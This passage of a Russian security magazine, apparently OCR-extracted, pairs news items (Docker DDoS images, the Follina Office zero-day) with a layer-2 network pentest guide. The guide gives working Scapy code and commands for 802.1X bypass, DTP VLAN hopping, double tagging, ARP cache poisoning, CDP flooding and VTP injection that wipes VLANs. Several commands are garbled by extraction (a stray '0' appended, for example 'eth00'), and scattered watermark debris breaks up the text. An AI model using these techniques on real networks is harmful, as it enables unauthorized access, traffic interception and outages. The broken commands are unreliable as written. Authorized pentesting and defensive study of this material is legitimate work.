на удален ке. Также у хакеров популярен фишинг и эксплу атация общедос тупных при- ложений .
ОБРАЗЫ DOCKER ДЛЯ DDOS-АТАК
Аналити ки компании CrowdStrike заметили , что Docker-образы , загружен ные более 150 тысяч раз, использовались для организа ции DDoS-атак против сайтов госорганов и новостных организа ций в России и Беларуси .
По информации экспертов , за атаками , наблюдав шимися в феврале и марте текущего года, стояли проукра инские хактивис ты , включая движение
«IT-армия Украины ». В общей сложности организа торы этих атак нацели вались на 24 домена, включая сайты россий ских и белорусских госорганов , вооружен ных сил и СМИ.
Некото рые цели хакеров
Иссле дователи отмечают , что атаки с помощью открытых API-интерфейсов Docker — это не новая практика , ведь подобные методы ранее уже применя ли майнеры и такие хак группы , как Lemon_Duck и TeamTNT. Дело в том, что в сети можно найти множес тво неправиль но настро енных или плохо защищенных разверты ваний Docker, ресурсы которых хакеры успешно при меняют для достижения собствен ных целей.
Экспер ты CrowdStrike обнаружи ли вредонос ную активность, когда их honeypot’ы с незащищен ными Docker Engine API оказались заражены двумя вредонос ными образами , загружен ными прямо из Docker Hub. Суммарно образы eriknkl/stoppropaganda и abagayev/stop-russia были скачаны 50 тысяч раз и 100 тысяч раз, хотя эти цифры необязатель но отражают реальное количество скомпро метированных хостов .
«Docker-образ содержит |
основан ный |
на Go инстру мент |
HTTP-тес- |
|
|||||||||||||
«тирования |
под |
названи |
ем |
bombardier |
|
с |
хешем |
SHA- |
|
||||||||
256 6d38fda9cf27fddd45111d80c237b86f87cf9d350c795363ee016bb030b |
|
||||||||||||||||
b3453, который использует |
HTTP-запросы |
для стресс тестирова |
ния |
|
|||||||||||||
сайтов . В данном |
случае инстру мент |
применял |
ся как DoS-инстру мент |
, |
» |
||||||||||||
запускающий |
ся автомати |
чес ки |
при |
|
создании |
нового |
контей нера |
||||||||||
|
|
||||||||||||||||
на основе Docker-образа », — расска зыва |
ют в CrowdStrike. |
|
|
|
|
|
|||||||||||
Иссле дова тели пришли к выводу, что сначала цели для DDoS-атак выбира лись случай ным образом , но позже образы стали поставлять ся с синхро низи руемым по времени жестко закодирован ным списком целей, которые под вергались одночасо вым атакам .
КРИТИЧЕСКИЕ ИНЦИДЕНТЫ УЧАСТИЛИСЬ
По данным «Лаборатории Каспер ского», по всему миру растет количество инциден тов высокой степени критич ности , а госучрежде ния , промыш ленность , ИТ и финансовый сектор чаще всего подверга ются целевым атакам .
В 2021 году количество атак с участием человека или заражений , которые оказыва ют серь езное воздей ствие на бизнес , увеличи лось на пять процен тных пунктов — с 9 до 14%.
Критич ные инциден ты фиксиру ются во всех отраслях, в 2021 году их доля была наиболее
высокой в телеком муникационных, промыш ленных , ИТ компани ях и госуч режде - ниях.
Чаще всего инциден ты связаны с целевыми атаками — почти в 41% случаев , еще в 14% слу
чаев — с вредонос ными программа ми, в 13% — с эксплу атацией критич ных уязвимос тей, в 5,5% — с социаль ной инженери ей.
Также сообщает ся , что эксперты Kaspersky фиксиру ют критич ные инциден ты в инфраструктурах компаний ежедневно , а их выявление в среднем занимает 41 минуту.
0-DAY В MICROSOFT OFFICE
Обнаруже на уязвимость нулевого дня в Microsoft Ofce, получившая имя Follina. Этот баг можно эксплу атировать через обычное открытие документа Word и применять для выполнения вредонос ных команд PowerShell через
Microsoft Diagnostic Tool (MSDT).
Обнаруже ние Follina служит весьма тревож ным сигналом , так как уяз вимость открывает новый вектор атак с использовани ем Microsoft Ofce. Дело в том, что баг работает без повышенных привиле гий , позволя ет обойти Windows Defender и не требует активации макросов для выполнения бинар ников или скриптов .
Первый вредонос ный документ Word, предназна ченный для эксплу атации этой проблемы , обнаружил ИБ специалист nao_sec, заметивший на VirusTotal файл, загружен ный с белорусско го IP-адреса . Судя по всему , атаки на эту проблему начались еще в апреле 2022 года и в качестве приманок для своих жертв хакеры использовали фейковые приглашения на интервью и сексуаль ное вымогатель ство.
««Я искал на VirusTotal файлы , которые использовали бы уязвимость CVE-2021-40444. Затем я обнаружил файл, который злоупот реблял
схемой MS-MSDT. Он использовал внешнюю ссылку Word для загрузки
HTML, а после этого схему MS-MSDT для выполнения кода » PowerShell», — расска зывает исследова тель.
Обфусци рован ный код
Извес тный ИБ эксперт Кевин Бомонт изучил находку своего коллеги , рас шифровал код и объяснил в своем блоге , что это строка для командной стро ки, которую Microsoft Word выполняет с помощью MSDT, даже если макросы отключены . Бомонт уточняет , что вредонос ный документ Word использует функцию удален ного шаблона для загрузки HTML-файла с сервера , а затем этот HTML-код использует схему Microsoft MS-MSDT URI для загрузки допол нительного кода и выполнения кода PowerShell.
Отмеча ется, что при этом активиру ется функция Protected View в Microsoft Ofce, предназна ченная для оповеще ния о файлах из потенциаль но небезо пасных источников , но, по словам Бомонта , это предуп реждение можно обойти , используя файл в формате Rich Text Format (RTF). Таким образом , вредонос ный код может сработать «даже без открытия документа , то есть через предваритель ный просмотр в провод нике».
В настоящее время исследова тели уже воспро изве ли экспло ит на нес кольких версиях Microsoft Ofce и подтвер дили наличие уязвимос ти в Ofce 2013, 2016, Ofce Pro Plus апрельской версии (Windows 11 с майски ми обновлениями ) и версии Ofce 2021 со всеми патчами .
Интерес но, что уязвимость Follina была обнаруже на еще в апреле текуще го года и о ней уже уведом ляли Microsoft. Так, согласно скриншотам , опуб ликованным пользовате лем crazyman, участни ком Shadow Chaser Group (ассоциация студен тов колледжей , занимающаяся поиском и анализом APT), Microsoft проинформи ровали об уязвимос ти, однако специалис ты компании сочли , что это «не связан ная с безопасностью проблема ». В Microsoft аргу ментирова ли, что msdt.exe действи тельно выполнялся , но при запуске тре бовался пароль, и компания не могла воспро извести экспло ит.
Ответ Microsoft исследова телям из Shadow Chaser Group
Теперь в Microsoft признали , что проблема все же связана с безопасностью : уязвимость уже получила идентифика тор CVE-2022-30190, и сообщает ся , что баг затрагива ет все версии Windows, которые получают обновления безопас ности, то есть Windows 7 и новее, а также Server 2008 и новее.
Так как патча пока нет, админис тра торы и пользовате ли могут блокиро вать атаки на CVE-2022-30190, отключив протокол MSDT URI, который злоумыш ленники используют для запуска дебаггеров и выполнения кода в уязвимых системах .
Хотя Microsoft Defender версии 1.367.719.0 уже умеет обнаружи вать использование уязвимос ти по сигнатурам , а Protected View и Application Guard в Microsoft Ofce должны блокиро вать атаки , ИБ эксперты предос терегают, что защитные механизмы бессиль ны, если атака идет через предваритель ный просмотр в провод нике, а не через открытие документа . Поэтому также рекомендует ся отключить предваритель ный просмотр .
ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
СМИ: дело против участни ков REvil зашло в тупик
В OpenSSF создали инстру мент для поиска малвари в опенсор сных репозитори ях Баги в коде Conti, REvil и LockBit, предот вра щающие шифрование
Пользовате лям рекомендовали времен но отказать ся от Tails из за уязвимос тей в Firefox
Появле ние дешевого DarkCrystal RAT обеспоко ило экспертов
Китай ская хак группа Twisted Panda шпионит за россий ски ми оборон ными разработ ками
Тысячи сайтов на WordPress взломаны и перенаправля ют посетителей на мошенничес кие стра ницы
Хакеры могут компро мети ровать чужие аккаунты еще до их регистра ции Браузер DuckDuckGo разреша ет работу трекеров Microsoft
Вымога тель GoodWill заставля ет делать добрые дела
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
c |
|
o m |
COVERSTORY |
||||
|
|
|
|
|
|
|||||
|
|
|
to |
BUY |
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|
||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|||
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
||
БОЛЬШОЙ ГАЙД ПО ПЕНТЕСТУ КАНАЛЬНОГО УРОВНЯ СЕТИ
Magama Bazarov
Network Security Expert
necreas1ng@gmail.com
Если злоумыш ленник атакует сеть на канальном уровне , он может перепрыгнуть через все средства защиты, настро енные на более высоких уровнях . В этой статье мы с тобой совершим увлекатель ное путешествие по большинс тву век торов атак на этот самый низкий уровень сети.
|
Статья имеет ознакоми |
тель |
ный |
характер и пред |
|||||||||||||||
|
назначена |
для |
специалис |
тов |
по безопасности |
, |
|||||||||||||
|
проводя |
щих |
тестирова |
ние |
|
в |
рамках |
контрак |
та . |
||||||||||
|
Автор и |
редакция |
не несут |
|
ответствен |
ности |
|||||||||||||
|
за любой вред, причинен |
ный |
|
с примене |
нием |
||||||||||||||
|
изложен ной |
информации . Распростра |
нение |
|
вре |
||||||||||||||
|
доносных |
программ |
, нарушение |
работы систем |
|||||||||||||||
|
и нарушение |
тайны |
переписки преследу |
ются |
|||||||||||||||
|
по закону. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ИМПАКТ ОТ АТАК
Основная задача атакующе го — получить доступ к ресурсам компьютер ной сети или нарушить нормаль ную работу сети (Denial of Service). В большинс тве случаев атаки канального уровня проводят ся вместе , чтобы извлечь больше пользы от эксплу ата ции . Например , атака с переполнени ем ассоциатив ной памяти коммутато ра создает идеаль ные условия для перехвата трафика . Ата ка на протокол DTP позволя ет нарушителю совершить побег в другую сеть VLAN и скомпро мети ровать сегменты VLAN.
Атаки канального уровня можно разбить на три типа:
•MITM. Злоумыш ленник «встает посередине » между сетевыми устройства ми и перехватыва ет трафик . Но при этом для легитимных хостов в сети видимых признаков атаки нет;
•DoS. Злоумыш ленник может провес ти разрушитель ную атаку на сетевое оборудо вание, чтобы вывести его из строя. Такие атаки в пентестах менее практичны и годятся только как отвлекающий маневр при редтимин ге;
•несан кционированный доступ к сегментам сети. Злоумыш ленник,
используя недостатки протоко лов, непред сказуемым образом может получить доступ к тем участкам сети, доступа к которым быть не должно .
Например , это атаки DTP VLAN Hopping, Double Tagging.
ДИСКЛЕЙМЕР И ВООРУЖЕНИЕ
На канальном уровне много векторов для атак типа «отказ в обслужива нии ». Прежде чем эксплу ати ровать их в ходе пентеста , обязатель но согласуй свои шаги с заказчиком ! Примене ние DoS-атак в рамках продак шена — штука спе цифичная . На мой взгляд, они полезнее всего при редтимин ге для отвле чения синей команды .
Мы с тобой поюзаем следующие инстру менты:
•Yersinia — фреймворк для проведе ния атак на L2 и стресс теста компь ютерных сетей;
•Scapy — модуль Python для манипулиро вания сетевыми пакетами . Может служить как сниффером , так и пакетным инжектором ;
•FENRIR — фреймворк , созданный для обхода 802.1X в сетях Ethernet.
КАК ОБХОДИТЬ 802.1X
IEEE 802.1X — это стандарт аутентифика ции и авториза ции конечных абонен тов на канальном уровне . Он поддержи вает контроль доступа и не позволя ет устройствам подклю чаться к локальной сети, не пройдя специаль ный процесс авториза ции. Это позволя ет существен но повысить уровень защищенности локальной сети, отсекая несанкци онированные подклю чения. Для пентесте ров 802.1X может оказать ся серьезной проблемой .
MAC Authentication Bypass
Этот очень простой метод обхода 802.1X. MAB использует ся для устройств , которые не поддержи вают аутентифика цию 802.1x. Грубо говоря, это MACавториза ция. MAB обойти очень просто . Нам нужно просто найти какое нибудь легитимное устройство , списать с него MAC-адрес и настро ить этот MAC-адрес на сетевой интерфейс атакующей машины. Подклю чаемся к коммутато ру и получаем доступ к сети. Не буду показывать эту атаку на практике , она слишком проста .
Bridge-based Attack
Самый популярный и эффективный метод обхода 802.1X — атака на основе моста . Для реализации нужно поместить свое устройство между легитимным клиентом , прошед шим аутентифика цию 802.1X, и коммутато ром . Коммутатор выступа ет в роли аутентифика тора и обеспечива ет связность между клиентом и сервером аутентифика ции .
Только у этой атаки есть одно ограниче ние. Чтобы ее проэкс плуатировать в продак шене, нужно легитимное устройство , прошед шее аутентифика цию 802.1X. Им может быть какой нибудь принтер , IP-телефон, возможно , ты сумеешь отыскать ноутбук какого нибудь сотрудни ка .
Для демонстра ции атаки я буду использовать инстру мент FENRIR.
Схема проведе ния атаки на 802.1X
IP-адресация схемы
Для начала нам надо перевести физические интерфейсы в режим promiscious (неразборчи вый режим):
c0ldheim@PWN:~$ sudo ifconfig eth0 promisc0
c0ldheim@PWN:~$ sudo ifconfig eth1 promisc0
Запус каем FENRIR и назнача ем IP-адрес легитимного устройства , его MACадрес и два интерфейса нашей атакующей машины. В боевых условиях всю информацию ты сможешь найти , прослушивая трафик . В качестве hostIface выступит интерфейс, смотрящий в сторону легитимного устройства , netIface — это интерфейс, который смотрит в сторону коммутато ра . После этого создаем бридж, он будет называться FENRIR.
c0ldheim@PWN:~$ sudo python2 Interface.py0
FENRIR > set host_ip 10.1.1.30
FENRIR > set host_mac 50:00:00:04:00:000
FENRIR > set hostIface eth10
FENRIR > set netIface eth00
FENRIR > create_virtual_tap0
После создания |
бриджа его необходимо |
настро |
ить . Переключа |
ем |
его |
||||||
в режим promiscious, назнача |
ем желаемый |
IP-адрес с соблюдени |
ем маски |
||||||||
подсети |
. В конце добавляем |
маршрут |
по умолчанию |
для созданно |
го бриджа |
||||||
FENRIR. |
|
|
|
|
|
|
|
|
|
|
|
c0ldheim@PWN:~$ |
sudo ifconfig FENRIR promisc0 |
|
|
|
|
|
|||||
|
|
||||||||||
c0ldheim@PWN:~$ |
sudo ifconfig FENRIR 10.1.1.50 netmask 255.255.255.00 |
||||||||||
c0ldheim@PWN:~$ |
sudo route add default gw 10.1.1.254 FENRIR0 |
|
|
|
|
||||||
Коман дой run в консоли инстру мен та FENRIR начинаем атаку .
FENRIR > run0
Теперь у нас есть доступ к сети, можем провес ти дальнейшую сетевую раз ведку, обнаружить соседей в этой сети. Запускаем ARP-сканиро вание с помощью netdiscover.
Резуль тат ARP-сканиро вания
Проверим , доступен ли путь к маршру тиза тору .
Успешные ICMP-запросы в сторону маршру тиза тора
После эксплу ата ции атаки легитимный хост не потерял соединение и имеет доступ в интернет.
Успешные ICMP-запросы с легитимного хоста в интернет
Дамп трафика с атакующей машины
CDP X LLDP Reconnaissance
Дамп трафика CDP/LLDP дает большой импакт, посколь ку нарушитель получает много информации о сетевом устройстве — начиная от модели устройства и заканчивая даже типом дуплекса . Информация , полученная из дампа трафика CDP/LLDP, будет полезной для злоумыш ленника. Он может ее использовать , чтобы определить версию прошив ки коммутато ра. Если в ней найдет ся известная уязвимость , то злоумыш ленник сможет провес ти атаку .
Дамп CDP-трафика
Дамп LLDP-трафика
CDP Flooding
Злоумыш ленник может вызвать отказ в обслужива нии коммутато ра Cisco, если разошлет огромное количество сообщений CDP. Централь ный процес сор коммутато ра будет полностью перегружен , а таблица соседей CDP нач нет переполнять ся. Атака достаточ но простая , поэтому много о ней говорить не буду.
Схема атаки на CDP
Чтобы провес ти эту атаку , восполь зуем ся Yersinia. Нас интересу ет опция fooding CDP table, она вызовет лавинную и очень быструю рассылку кадров CDP, которые приведут к перегрузке централь ного процес сора коммутато ра , что сделает невозможной нормаль ную работу сети.
Атака на CDP с помощью Yersinia
Лавин ная рассылка CDP
Перепол няющаяся таблица соседей CDP
Перег ружен ный централь ный процес сор коммутато ра
НАПАДЕНИЕ НА СЕТИ VLAN
Динамический транк и побег в другие сегменты VLAN
Эта атака примени ма только к коммутато рам Cisco. Суть атаки заключа ется в том, чтобы принуди тель но перевести порт в режим магистраль ного канала. За автомати чес кий транкинг на коммутато рах Cisco отвечает протокол DTP. По умолчанию все порты коммутато ра Cisco находятся в режиме DTP Dynamic Auto. Это означает , что порт будет ожидать инициацию транка с соседнего порта . Атакующе му остается только отправить специаль но подготов ленный
кадр DTP Desirable, и он сможет совершить прыжок абсолют но в любую сеть VLAN и видеть трафик всех сетей VLAN. Подробнее об этой атаке ты сможешь узнать из моей статьи «Как взломать протокол DTP и совершить побег в дру гую сеть VLAN».
Схема атаки на протокол DTP
Соберем кадр DTP Desirable с помощью Scapy. Для начала необходимо импортировать модуль для работы с протоко лом DTP:
>>> from.scapy.contrib.dtp import *
Собира ем фрейм Ethernet 802.3, MAC-адрес источника будет рандомизи рованным , а в качестве MAC-адреса назначения будет адрес мультикас товой
L2-рассылки 01:00:0C:CC:CC:CC.
Мультикас товый адрес 01:00:0C:CC:CC:CC использует ся не только протоко лом DTP, но и другими , например CDP, VTP, PAgP, UDLD. Чтобы протоко лы отличались друг от друга при отправке объявле ний по одинако вому мультикас товому адресу , для них реализова но уникаль ное зна чение в заголовке SNAP на уровне LLC (Logical Link Control). Для DTP это значение равно
0x2004.
Не забываем о слоях LLC и SNAP с указани ем значения 0x2004, определя ющего , что это именно протокол DTP. Значения заголовков в tlvlist оставляем по умолчанию , кроме DTPNeighbor. И в конце зациклим отправку собранно го кадра — пусть шлется раз в три секунды . Потому что если порт был сконфигури рован динамичес ки , то время его жизни всего 300 секунд (5 минут).
>>>mymac = RandMAC()
>>>dtp_frame = Dot3(src=mymac, dst="01:00:0C:CC:CC:CC")
>>>dtp_frame /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)/SNAP(OUI=0x0c, code = 0x2004)
>>>dtp_frame /= DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(), DTPNeighbor(neighbor=mymac)])
>>>sendp(dtp_frame, iface="eth0", inter=3, loop=1, verbose=1)
Почему то в Scapy в дефолтном кадре DTP по умолчанию хранят ся все необ ходимые значения , чтобы собрать именно кадр DTP Desirable. Я пока не знаю, с чем это связано , но нам это на руку: сэкономим время . Поэтому мы оста вили параметры DTP по умолчанию (за исключени ем DTPNeighbor).
Однако вкратце расска жу о самых важных для нас заголовках и их зна чениях :
•DTPType = '\xa5' — значение заголовка , указыва ющее на исполь зование инкапсуляции 802.1Q;
•DTPStatus = '\x03' — значение заголовка , указыва ющее на статус DTP-кадра . Это статус Desirable, то, что нам нужно для инициации магистраль ного режима порта .
Структура дефолтно го кадра DTP в Scapy
После проведе ния атаки мы можем видеть трафик всех сетей VLAN. В резуль тате сетевой разведки обнаруже ны сети VLAN 100, 200, 220 и 250. Эти зна чения VLAN ID расположе ны в одном из заголовков протоко ла STP — Root Identifer (Root Bridge System ID Extension).
|
|
|
|
Дамп трафика |
из Wireshark |
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
||||
Теперь |
необходимо |
создать |
виртуаль |
ные |
интерфейсы VLAN, поднять |
их |
||||||
и запросить |
адрес по DHCP. В итоге мы сможем |
взаимо дей ство |
вать |
со всеми |
||||||||
хостами |
во всех сетях VLAN. |
|
|
|
|
|
|
|
|
|||
c0ldheim@PWN:~$ sudo vconfig add eth0 1000
c0ldheim@PWN:~$ sudo vconfig add eth0 2000
c0ldheim@PWN:~$ sudo vconfig add eth0 2200
c0ldheim@PWN:~$ sudo vconfig add eth0 2500
c0ldheim@PWN:~$ sudo ifconfig eth0.100 up0
c0ldheim@PWN:~$ sudo ifconfig eth0.200 up0
c0ldheim@PWN:~$ sudo ifconfig eth0.220 up0
c0ldheim@PWN:~$ sudo ifconfig eth0.250 up0
c0ldheim@PWN:~$ sudo dhclient -v eth0.1000
c0ldheim@PWN:~$ sudo dhclient -v eth0.2000
c0ldheim@PWN:~$ sudo dhclient -v eth0.2200
c0ldheim@PWN:~$ sudo dhclient -v eth0.2500
Успешное получение адресов по DHCP
Доступ ко всем сетям VLAN
Продолжение статьи0 →
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
c |
|
o m |
COVERSTORY |
||||
|
|
|
|
|
|
|||||
|
|
|
to |
BUY |
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|
||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|||
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
← |
|
|
|
|
|
|
|
|
|||
w |
|
|
|
|
|
|
|
|
m |
||
|
0НАЧАЛО СТАТЬИw Click |
to |
BUY |
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x ha |
|
|
|
|
||
БОЛЬШОЙ ГАЙД ПО ПЕНТЕСТУ КАНАЛЬНОГО УРОВНЯ СЕТИ
VTP-инъекции и манипуляции базами данных VLAN
Протокол VTP был создан для того, чтобы автомати чески и центра лизованно управлять базами данных VLAN на коммутато рах Cisco. Для этого используют ся номера ревизии конфигура ции. С их помощью коммутатор определя ет самую свежую базу данных VLAN, принима ет объявле ния VTP и обновляет БД VLAN, увидев больший номер ревизии.
Роли коммутаторов в домене VTP
•VTP Server. Коммутатор в роли VTP Server может создавать новые VLAN, удалять старые или менять информацию в самих VLAN. Также он занима ется генерирова нием объявле ний VTP для остальных членов домена.
•VTP Client. Коммутатор в этой роли будет получать специаль ные анонсы
VTP от других коммутато ров в домене, чтобы обновлять базы данных VLAN у себя. Клиенты ограниче ны в возможнос тях создавать VLAN и даже не имеют права локально изменять конфигура цию VLAN. Иначе говоря,
доступ read only.
•VTP Transparent. В этом режиме коммутатор не участву ет в процес сах VTP и может вести у себя полное и локальное админис трирование всей конфигура ции VLAN. Работая в прозрачном режиме, коммутато ры занима ются только передачей объявле ний VTP от других коммутато ров, не зат рагивая свою конфигура цию сетей VLAN. У таких коммутато ров номер ревизии всегда будет равен нулю, и против них атаки с инъекци ей VTP не провес ти.
Типы объявлений в домене VTP
•Summary Advertisement — объявле ние VTP, отправляемое сервером VTP
каждые 300 секунд (5 минут). В этом объявле нии хранит ся имя домена VTP, версия протоко ла, отметка времени и значение MD5-хеша конфигура ции;
•Subset Advertisement — объявле ние VTP, которое отправляет ся при каж дом изменении конфигура ции VLAN;
•Advertisement Request — это запрос от клиента VTP к серверу VTP на сооб
щение Summary Advertisement. Обычно рассыла ется в ответ на сооб
щение о том, что коммутатор |
обнаружил |
Summary Advertisement |
|
с бóльшим номером ревизии конфигура |
ции . |
|
|
Чтобы атаковать домен VTP, необходимо , чтобы порт, к которому ты подклю чен во время атаки , был в режиме магистраль ного канала. Кстати говоря, ата ка на VTP может быть следующим шагом после того, как ты атаковал протокол
DTP и стал транковым каналом. Злоумыш ленник сможет проводить VTP-инъ екции и отправлять якобы «обновленные » базы данных VLAN с бóльшим номером ревизии. Легитимные коммутато ры, в свою очередь , примут и обно вят свои базы данных VLAN. Провес ти такую атаку нам поможет Yersinia. Рас смотрим атаку на VTPv1 с последу ющим удалени ем всех VLAN.
Схема атаки на домен VTP
Таблица VLAN на коммутато ре до атаки
Инъекция VTP с удалени ем всех VLAN на коммутато ре
Yersinia сгенери рует специаль ные VTP-объявле ния Summary Advertisement
и Subset Advertisement.
Дамп трафика во время инъекции VTP
Как видим, после проведе ния атаки все созданные VLAN были удалены . VLAN 1 и VLAN в диапазоне 1002–1005 никуда не денутся , посколь ку созданы
по умолчанию .
База данных VLAN на коммутато ре после инъекции
Атака двойного тегирования
Атака двойного тегирования основана на использовании особен ностей инкапсуляции 802.1Q в сетях Ethernet. В большинс тве случаев коммутато ры исполняют только один уровень процес са , деинкапсу ляции 802.1Q. Это открывает путь для эксплу ата ции , посколь ку такая особен ность позволя ет пентесте ру скрыть в кадре Ethernet вторую метку 802.1Q.
Вот как в деталях происхо дит атака :
•Злоумыш ленник собирает кадр Ethernet с двумя тегами и отправляет его в сторону коммутато ра. VLAN ID первой метки 802.1Q должен совпадать
со значени ем Native VLAN порта , находящего ся в магистраль ном режиме. Для удобства воспри ятия предста вим, что первая метка 802.1Q будет
VLAN 1, а вторая метка 802.1Q — VLAN 100.
•Кадр попадает на коммутатор SW 1. Коммутатор проверя ет первые четыре байта метки 802.1Q. Коммутатор видит, что кадр предназна чен для VLAN 1, которая в его конфигура ции является сетью Native VLAN. Коммутатор
SW1 уничтожа ет эту метку . В это же время вторая метка VLAN 100 остается целой и никуда не пропада ет.
Native VLAN — это специаль ная VLAN, к которой коммутатор ассоциирует все кадры без тега 802.1Q. По умолчанию идентифика тор
Native VLAN равен единице .
• Далее коммутатор SW2 проверя ет только внутреннюю метку 802.1Q
ивидит, что данный кадр предназна чен для сети VLAN 100. Этот ком мутатор отправляет кадр на порт, который принад лежит сети VLAN 100,
икадр достига ет своего пункта назначения .
Схема атаки Double Tagging
Полигон для атаки Double Tagging
|
|
|
|
|
|
Адресация |
для тестового |
полигона |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|||||||||||
Восполь |
зуем |
ся Scapy, чтобы собрать |
широковеща |
тель |
ный |
кадр Ethernet |
||||||||||||
с двумя метками |
802.1Q. Также будет добавлен |
слой ICMP, чтобы наглядно |
||||||||||||||||
показать, как кадр доберется до назначения |
и ответит на фальсифици |
рован |
|
|||||||||||||||
ный запрос |
ICMP. Отправим |
этот запрос |
якобы от машины Nefarian под IP- |
|||||||||||||||
адресом |
10.10.200.1. |
|
|
|
|
|
|
|
|
|
|
|
|
|||||
>>>frame = Ether(dst="FF:FF:FF:FF:FF:FF")
>>>first_DOT1Q_tag = Dot1Q(vlan=1)
>>>second_DOT1Q_tag = Dot1Q(vlan=100)
>>>ip_packet = IP(src="10.10.200.1", dst="10.10.100.1")
>>>icmp_layer = ICMP()
>>>crafted = frame / first_DOT1Q_tag / second_DOT1Q_tag / ip_ packet / icmp_layer0
>>>sendp(crafted, iface="eth0", count=40, loop=0, verbose=1)
Успешные ICMP echo и reply в сторону машины Darker
Как видим, пакет прибежал на хост назначения , но с одной меткой VLAN ID 100, посколь ку первый тег VLAN 1 был уничтожен первым коммутато ром SW1. Имей в виду, что это односторон няя атака . Возможно , она будет полезна при нападении на сегмент DMZ во время пентеста .
СЕТЕВАЯ РАЗВЕДКА И ПЕРЕХВАТ ТРАФИКА С ПОМОЩЬЮ ARP ARP Harvesting
Протокол ARP может быть очень полезен в рамках сетевой разведки . Ска нирование ARP позволя ет провес ти перечисление активных хостов и имеет небольшое преиму щество перед ICMP-сканиро ванием, посколь ку трафик ICMP в корпоратив ной сети может быть ограничен , а то и вовсе выключен .
Проблема сканиро вания ARP в том, что это очень шумный способ сетевой разведки . С этим способом нужно быть осторож ным , чтобы не спровоци ровать тревогу систем безопасности IPS/IDS. Да и на порте , к которому ты подклю чен , может быть сконфигури рован Storm Control, блокиру ющий порт при аномаль ном широковеща тель ном трафике (трафик протоко ла ARP — широковеща тель ный ).
C помощью ARPScanner.py можем обнаружить активные хосты в сети 10.1.1.0/24 и их MAC-адреса . В моем случае тестовая сеть маленькая , но тем не менее.
c0ldheim@PWN:~$ sudo python3 ARPScanner.py -t 10.1.1.0/24 -i eth00
Резуль тат ARP-сканиро вания
ARP Cache Poisoning
Техника этой сетевой атаки заключа ется в использовании недостатков про токола ARP. Абсолют но любой хост в сети может вызывать ARP-запросы
и принимать их, они это делают без механизма аутентифика ции (в протоко ле ARP не предус мотрен механизм аутентифика ции ), поэтому все хосты доверя ют друг другу . Злоумыш ленни ку достаточ но отправить фальсифици рован ные ответы ARP в сторону цели A и цели B. С помощью подделыва ния ответов ARP компьютер атакующе го позициони рует ся целью А для цели B и наоборот , тем самым встав посередине . Это создает условия для перехвата трафика .
На картинке ниже представ лен пример отравления кеша ARP.
Схема атаки на протокол ARP
Перей дем к практике . Для начала необходимо переключить наш интерфейс в неразборчи вый режим и разрешить форвардинг между интерфейсами . Иначе два хоста потеряют связность между собой, ведь трафик будет идти через нас, а форвардин га между интерфейсами нет.
c0ldheim@PWN:~$ ifconfig eth0 promisc0
c0ldheim@PWN:~$ sudo sysctl -w net.ipv4.ip_forward=10
С помощью скрипта ARPSpoofer.py запускаем |
процесс |
отравления |
ARP. |
||||||
|
|
|
|
|
|
||||
В качестве первой |
цели укажем |
машину на Windows с IP-адресом |
10.1.1.2, |
||||||
в качестве второй — FTP-сервер с адресом |
10.1.1.5. |
|
|
|
|||||
c0ldheim@PWN:~$ sudo python3 ARPSpoofer.py -t1 10.1.1.2 -t2 10.1.1.
5 -i eth00
После этого можно переходить к этапу прослушива ния сетевого трафика .
Перех вачен ный трафик FTP
